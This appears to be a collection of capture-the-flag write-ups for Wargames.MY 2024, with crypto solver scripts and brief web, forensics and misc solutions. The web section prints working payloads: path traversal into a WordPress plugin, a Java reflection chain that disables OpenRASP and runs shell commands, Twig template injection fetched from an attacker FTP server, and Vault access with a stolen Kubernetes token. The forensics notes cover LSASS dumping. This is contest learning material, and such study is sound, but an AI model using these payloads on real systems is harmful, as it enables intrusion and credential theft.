		remaining_column_slice = np.any(A[remaining_row_slice]!=0, axis=0)
		AS1 = AS[[*remaining_row_slice],[*np.nonzero(remaining_column_slice)[0]]]
		A1 = A[remaining_row_slice,:][:,remaining_column_slice]
		b1 = (b - vector(GF(p),np.array(sr)[row_slice]) * AS[[*row_slice],:])[remaining_column_slice]
		e1 = None
		if e is not None:
			e1 = e[remaining_column_slice]
			assert vector(GF(p),s1)*AS1 == vector(GF(p),b1-e1)
			assert vector(GF(p),s)*AS == vector(GF(p),b-e)
		return sr, A1, AS1, b1, s1, e1, remaining_column_slice
	def candidates_for(num_columns):
		nonlocal AS
		return sorted((AS[:, columns[i-num_columns:i]].rank(), i) for i in range(num_columns, AS.ncols()+1))[:50]
	num_columns, max_rank = path[0]
	num_columns=min(num_columns, AS.ncols())
	remaining=[*range(num_columns, AS.ncols()+1)]
	random.shuffle(remaining)
	if hint:
		remaining = [hint[0]]
	candidates=[]
	while remaining:
		i = remaining.pop()
		columns_slice = slice(i-num_columns, i)
		actual_rank = AS[:, columns[columns_slice]].rank()
		if actual_rank <= max_rank:
			break
		candidates.append((actual_rank, i))
		if len(candidates) % 200 == 0:
			print(sorted(candidates)[:50])
	else:
		print("!")
		candidates = sorted(candidates)
		raise RuntimeError(f"no candidates {candidates[:30]}")
	print(f"{i=} {actual_rank=}")
	global_hints.append(i)
	sr, A1, AS1, b1, s1, e1, remaining_column_slice = try_reduce(num_columns, i)
	column_remap=np.cumsum(remaining_column_slice)-1
	sr2 = solve(A1, AS1, b1, s1, e1, [column_remap[x] for x in columns if remaining_column_slice[x]], path[1:], hint[1:])
	sr = np.array(sr)
	sr[sr==None] = sr2
	return sr

AS = matrix(GF(p), *A.shape)
copy_from_numpy_2(AS, A)
assert AS.rank() == AS.nrows()

global_hints=[]
sr = solve(A, AS, b, s, e, columns, [(100, 30)]*200, 
[8830, 9165, 9035, 8726, 1054, 143, 5448, 1708, 2803, 1370, 2342, 532, 3649, 6365, 1034, 1992, 7547, 6017, 1945, 3092, 1158, 3901, 2463, 2285, 1261, 4458, 1207, 3969, 2175, 136, 2519, 754, 1603, 844, 296, 564, 130, 195, 5, 0]
	)

sr = solve(A, AS, b, None, None, columns, [(100, 30)]*200, 
[8830, 9165, 9035, 8726, 1054, 143, 5448, 1708, 2803, 1370, 2342, 532, 3649, 6365, 1034, 1992, 7547, 6017, 1945, 3092, 1158, 3901, 2463, 2285, 1261, 4458, 1207, 3969, 2175, 136, 2519, 754, 1603, 844, 296, 564, 130, 195, 5, 0]
	)

assert (sr==s).all()


while True:
	
	proc = remote("43.217.80.203", 35166)

	proc.readuntil(b'seed.hex() = ')
	line = proc.readline().strip()
	seed = bytes.fromhex(eval(line))

	proc.readuntil(b'b.tolist() = ')
	line = proc.readline().strip()
	b = eval(line)

	import random
	import numpy as np
	n = 500; p = 3691; k = 10; m = 20 * n

	def change_support(support):
		while (t := random.randint(0, n - 1)) in support: pass
		support[random.randint(0, k - 1)] = t
		return support

	random.seed(seed)

	A = np.zeros((n, m), dtype=int)
	support = random.sample(range(n), k)

	columns = list(range(m))
	random.shuffle(columns)

	for i in columns:
		if (random.randint(0, 2) == 0):
			support = change_support(support)
		A[support, i] = [random.randint(0, p - 1) for _ in range(k)]

	AS = matrix(GF(p), *A.shape)
	copy_from_numpy_2(AS, A)
	AS_rank = AS.rank()
	if AS_rank != AS.nrows():
		print(f"insufficient rank {AS_rank}")
		proc.kill()
		continue
	break

sr = solve(A, AS, np.array(b), None, None, columns, [(100, 30)]*200, [])
proc.readuntil(b's: ')
proc.sendline(str(sr.tolist()))
proc.interactive()


LPN


from hashlib import sha256
import os
import secrets
import signal

F.<z> = GF(2^128)
n = 20; m = 100

seed = os.urandom(16)
set_random_seed(int.from_bytes(seed, 'big'))
A = [[F.random_element() for _ in range(m)] for _ in range(n)]
A = Matrix(F, A)

set_random_seed(int.from_bytes(os.urandom(16), 'big'))
e_elem_1 = F.random_element()
e_elem_2 = F.random_element()
assert e_elem_1 != e_elem_2

s = vector(F, [F.random_element() for _ in range(n)])
e = vector(F, [e_elem_1 if secrets.randbits(1) else e_elem_2 for _ in range(m)])

b = s * A + e

print(f'{seed.hex() = }')
print(f'{list(b) = }')

s_ = input('hash(s): ')

proc = remote("43.217.80.203", 35245)

proc.readuntil("seed.hex() = ")
line = proc.readline()
seed = bytes.fromhex(eval(preparse(line.decode())))

set_random_seed(int.from_bytes(seed, 'big'))
A = [[F.random_element() for _ in range(m)] for _ in range(n)]
A = Matrix(F, A)

proc.readuntil("list(b) = ")
line = proc.readline()
b = vector(F, eval(preparse(line.decode())))

A1 = matrix.block([
    [A[:, :n+3]],
    [matrix.ones(1, n+3)],
    ]).rref()
assert A1[:, :n+1] == matrix.identity(F, n+1)

u, v = b[:n+1] * A1[:, n+1:] + b[n+1:n+3]
u /= v
v = 1

A2 = A1[:, n+1:].stack(matrix.identity(F, 2)) * vector([1, u])
A3 = np.array([[*x] for x in A2], dtype=int)
first_half = (n+3)//2

import itertools

A3_1 = A3[:first_half]
A3_2 = A3[first_half:]

d = { bytes(np.packbits((l@A3_1)%2)) : l for l in itertools.product((0, 1), repeat=first_half)}
del d[bytes(np.packbits(np.zeros(A3_1.shape[1], dtype=np.uint8)))]

for l in itertools.product((0, 1), repeat=n+3-first_half):
    key = bytes(np.packbits((l@A3_2)%2))
    if key in d:
        break
else: assert False

e2 = vector(d[key] + l)

s1 = matrix.block([
    [A[:, :n+3]],
    [matrix.ones(1, n+3)],
    [e2.row()],
    ]).solve_left(b[:n+3])[:-2]

proc.sendline(str(sha256(str(list(s1)).encode()).hexdigest()))
proc.interactive()

Isogeny

ls = list(prime_range(3,117))
p = 4 * prod(ls) - 1
F = GF(p)
E = EllipticCurve(F, [1, 0])

from pathlib import Path
data = Path("output.txt").read_text().strip().split("\n")
data = [list(map(ZZ, x.split(", "))) for x in data]

import tqdm

for i in tqdm.trange(500):
    l = data[i*3:i*3+3]
    for w in ls:
        while (P := E.random_point() * ((p + 1) // w)) == E(0):
            pass
        phi = E.isogeny(P)
        if all(phi(E.lift_x(x))[0] == x2 for x, x2 in l):
            break
    else:
        assert False
    E = phi.codomain()
    
from hashlib import md5
FLAG = "wgmy{" + md5(str(E.j_invariant()).encode()).hexdigest() + "}"
print(FLAG)

Crypto

Hohoho 3

The whole thing is affine

note that p ^ q ^ r == s

if we send

1
Santa Claup
1
Santa Clauq
1
Santa Claur

we can xor the result

xor(
bytes.fromhex('f53f2d8368770f091d46f22e47877a11'), 
bytes.fromhex('c9eb0d7e88beee659b3b5ecec58eb409'),
bytes.fromhex('8c976c78a9e4cdd011bdabef4394e621'),
).hex()

and paste the result back

2
Santa Claus
b0434c85492d2cbc97c0070fc19d2839
4

Credentials

https://elijahchia.gitbook.io/ctf-blog/wargames.my-ctf-2024/credentials-crypto

Ricks Algorithm

https://elijahchia.gitbook.io/ctf-blog/wargames.my-ctf-2024/ricks-algorithm-crypto

Ricks Algorithm 2

https://elijahchia.gitbook.io/ctf-blog/wargames.my-ctf-2024/ricks-algorithm-2-crypto

Hohoho 3 Continued

https://elijahchia.gitbook.io/ctf-blog/wargames.my-ctf-2024/hohoho-3-continue-crypto

Misc

Watermarked?

Got this from social media, someone said it's watermarked, is it?

Googling for watermarking methods "github.com", we eventually stumble upon Meta Research's repo, Watermark Anything (fits the "got this from social media" part of the chall description)

In the repo, we are given examples of how their method is used to hide 1 or 2 watermarks on the image. Since the image given was a gif with 65 frames, I assumed that each frame contained a letter or a chunk of data of some sort.

With the help from our friendly neighbouhood claude.ai (i didn't want to write the gif extraction), we wrote some code to split each frame of the gif, and adapted their code used to predict which bits have the watermark and what the watermark is

import os
import torch
import torch.nn.functional as F
from PIL import Image
from torchvision.utils import save_image
import cv2
from watermark_anything.data.metrics import msg_predict_inference
from notebooks.inference_utils import (
    load_model_from_checkpoint,
    default_transform,
    unnormalize_img,
    msg2str
)

# Initialize device (GPU or CPU)
device = torch.device("cuda" if torch.cuda.is_available() else "cpu")

# Load the model from the specified checkpoint
exp_dir = "checkpoints"
json_path = os.path.join(exp_dir, "params.json")
ckpt_path = os.path.join(exp_dir, 'wam_mit.pth')
wam = load_model_from_checkpoint(json_path, ckpt_path).to(device).eval()

# Function to load an image and apply the necessary transformations
def load_img(path):
    img = Image.open(path).convert("RGB")
    img = default_transform(img).unsqueeze(0).to(device)
    return img

# Function to extract frames from GIF
def extract_frames_from_gif(gif_path):
    gif = cv2.VideoCapture(gif_path)
    frames = []
    success, frame = gif.read()
    while success:
        frames.append(frame)
        success, frame = gif.read()
    return frames

# Function to detect watermark in a single frame
def detect_watermark_in_frame(frame, model):
    # Convert OpenCV image (BGR) to PIL image (RGB)
    pil_frame = Image.fromarray(cv2.cvtColor(frame, cv2.COLOR_BGR2RGB))

    # Pre-process the image using the default transformation
    input_tensor = default_transform(pil_frame).unsqueeze(0).to(device)

    # Detect the watermark in the frame
    outputs = model.detect(input_tensor)  # Outputs the prediction

    preds = outputs["preds"]  # [1, 33, 256, 256] -> Predicted mask and bits
    mask_preds = F.sigmoid(preds[:, 0, :, :])  # [1, 256, 256], predicted mask
    bit_preds = preds[:, 1:, :, :]  # [1, 32, 256, 256], predicted bits

    # Predict the embedded message and calculate bit accuracy
    pred_message = msg_predict_inference(bit_preds, mask_preds).cpu().float()  # [1, 32]
    return pred_message, mask_preds

# Function to save the detection result (if needed)
def save_detection_result(frame, frame_id, output_dir, pred_message, mask_preds_res):
    if not os.path.exists(output_dir):
        os.makedirs(output_dir)

    # Save the detected message and the predicted mask
    save_image(mask_preds_res, f"{output_dir}/frame_{frame_id}_pred_mask.png")
    print(f"Predicted message for frame {frame_id}: {msg2str(pred_message[0])}")

# Function to process the GIF and detect watermarks in each frame
def process_gif_for_watermarks(gif_path, model, output_dir):
    frames = extract_frames_from_gif(gif_path)

    for frame_id, frame in enumerate(frames):
        pred_message, mask_preds = detect_watermark_in_frame(frame, model)

        # Resize the predicted mask to match the original image size
        mask_preds_res = F.interpolate(mask_preds.unsqueeze(1), size=(frame.shape[0], frame.shape[1]), mode="bilinear", align_corners=False)  # [1, 1, H, W]

        # Save the processed frame and its outputs
        save_detection_result(frame, frame_id, output_dir, pred_message, mask_preds_res)

if __name__ == "__main__":
    gif_path = "assets/images/watermarked.gif"  # Path to the input GIF file
    output_dir = "output"  # Directory where processed frames will be saved

    # Process the GIF to detect the watermark message
    process_gif_for_watermarks(gif_path, wam, output_dir)

By running the above code, we get the following output:

Predicted message for frame 0: 01010111011000010111001001100111
<truncated for brevity>
Predicted message for frame 64: 00110010001100000011001000110100

Converting each frame's binary data to ascii text, we get the following message:

Wargames.MY is a 24-hour online CTF hacking game. Well, it is a competition of sorts. Congrats on solving this challenge! This is for you: wgmy{2cc46df0fb62c2a92732a4d252b8d9a7}. Thanks for playing with us. We hope you enjoy solving our challenges. -- WGMY2024

Christmas Gift

DCM Meta

https://jyjh.github.io/blog/posts/wgmy24/#dcm-meta

Invisible Ink

https://jyjh.github.io/blog/posts/wgmy24/#invisible-ink

Web

Wordmarket

  1. Obtain secret by POST request to admin-ajax.php with switch=1
  2. Register user with shop_manager role using the /add_user endpoint.
  3. Send POST request to insert path traversal payload into country code field. This will cause /flag.php to be included.
POST /wp-admin/admin.php?page=wc-settings&tab=csz HTTP/1.1
Host: 46.137.193.2
Content-Length: 874
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://46.137.193.2
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2TMrDSJIT4wtav0w
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://46.137.193.2/wp-admin/admin.php?page=wc-settings&tab=csz
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: blahblah
Connection: close

------WebKitFormBoundary2TMrDSJIT4wtav0w
Content-Disposition: form-data; name="wc_csz_countries_codes[]"

../../../../../../../../../../flag
------WebKitFormBoundary2TMrDSJIT4wtav0w
Content-Disposition: form-data; name="wc_csz_set_zone_locations"


------WebKitFormBoundary2TMrDSJIT4wtav0w
Content-Disposition: form-data; name="wc_csz_set_zone_country"

MY
------WebKitFormBoundary2TMrDSJIT4wtav0w
Content-Disposition: form-data; name="wc_csz_set_zone_id"

6
------WebKitFormBoundary2TMrDSJIT4wtav0w
Content-Disposition: form-data; name="save"

Save changes
------WebKitFormBoundary2TMrDSJIT4wtav0w
Content-Disposition: form-data; name="_wpnonce"

44b16f0b6b
------WebKitFormBoundary2TMrDSJIT4wtav0w
Content-Disposition: form-data; name="_wp_http_referer"

/wp-admin/admin.php?page=wc-settings&tab=csz
------WebKitFormBoundary2TMrDSJIT4wtav0w--

Wizard Chamber

  1. Disable openRASP hooking:
2.class.forName("com.baidu.openrasp.config.Config").getMethod("setDisableHooks", "a".class).invoke(2.class.forName("com.baidu.openrasp.config.Config").methods[0].invoke(null), "true")
  1. Read flag:
2.class.forName("ja"+"va.util.Arrays").getMethod("toString", " ".getBytes().class).invoke(null, 2.class.forName("ja"+"va.lang.Ru"+"ntime").methods[0].invoke(null).exec("cat /flag-REDACTED.txt").getInputStream().readAllBytes())

Dear admin

  1. Setup FTP server on own server. PHP file_exists will allow ftp:// scheme.
  2. Host payload in templates/admin_review.twig on FTP server:
{% set people = ["cat /flag*"] %}
{% set t = "tem" %}
{% set s = "sys#{t}" %}

{{ people|map(s)|join(', ') }}
  1. View review to obtain flag

Warmup 2

Path traversal in Jaguar library, use /proc/self/environ to read env vars containing flag:

GET /..%2f..%2fproc%2fself%2fenviron HTTP/1.1
Host: dart.wgmy
Upgrade-Insecure-Requests: 1
Connection: close
Content-Type: application/x-www-form-urlencoded

Secret 2

  1. Kubernetes auth enabled in Vault
  2. Service account JWT located in /var/run/secrets/kubernetes.io/serviceaccount/token, use path traversal from Warmup 2 to retrieve
  3. Exchange JWT for Vault access token, then fetch the flag:
import requests


res = requests.post("http://13.76.138.239/vault/v1/auth/kubernetes/login", headers={
    "Host": "nginx.wgmy",
}, json={"jwt":"....", "role":"wgmy"}).json()

print(res)
tkn = res["auth"]["client_token"]

print(requests.get("http://13.76.138.239/vault/v1/kv/data/flag", headers={
    "Host": "nginx.wgmy",
    "X-Vault-Token": tkn
}).text)

Forensics

I Cant Manipulate People

tshark -r traffic.pcap -Y "icmp" -T fields -e data | xxd -r -p

Flag: WGMY{1e3b71d57e466ab71b43c2641a4b34f4}

Unwanted Meow

Remove all entries of the word "meow", twice

with open("flag.shredded", "rb") as f:
    contents = f.read()
with open("flag.jpg", "wb") as f:
    f.write(contents.replace(b"meow", b"").replace(b"meow", b""))

Flag: WGMY{4a4be40c96ac6314e91d93f38043a634}

Oh Man

Basically follow this writeup to extract NTLMv2 hash, cracking it reveals the password to be password<3

We can then inspect SMB3 traffic and find the output of nanodump

Run scripts/restore_signature and then dump the LSASS secrets using pypykatz, revealing the flag

Flag: wgmy{fbba48bee397414246f864fe4d2925e4}

Tricky Malware

Use volatility3, pslist shows that crypt.exe is ran from "C:\Users\user\Desktop\Blow\crypt.exe"

Dump the binary out using dumpfiles, observe that it is a Pyinstaller compiled executable. Use pyinstxtractor to extract crypt.pyc out, and use pylingual to decompile the pyc file.

There's a pastebin link: https://pastebin.com/raw/PDXfh5bb, revealing the flag.

Flag: WGMY{8b9777c8d7da5b10b65165489302af32}

Blockchain

All blockchain writeups can be found here https://jyjh.github.io/blog/posts/wgmy24/#blockchain.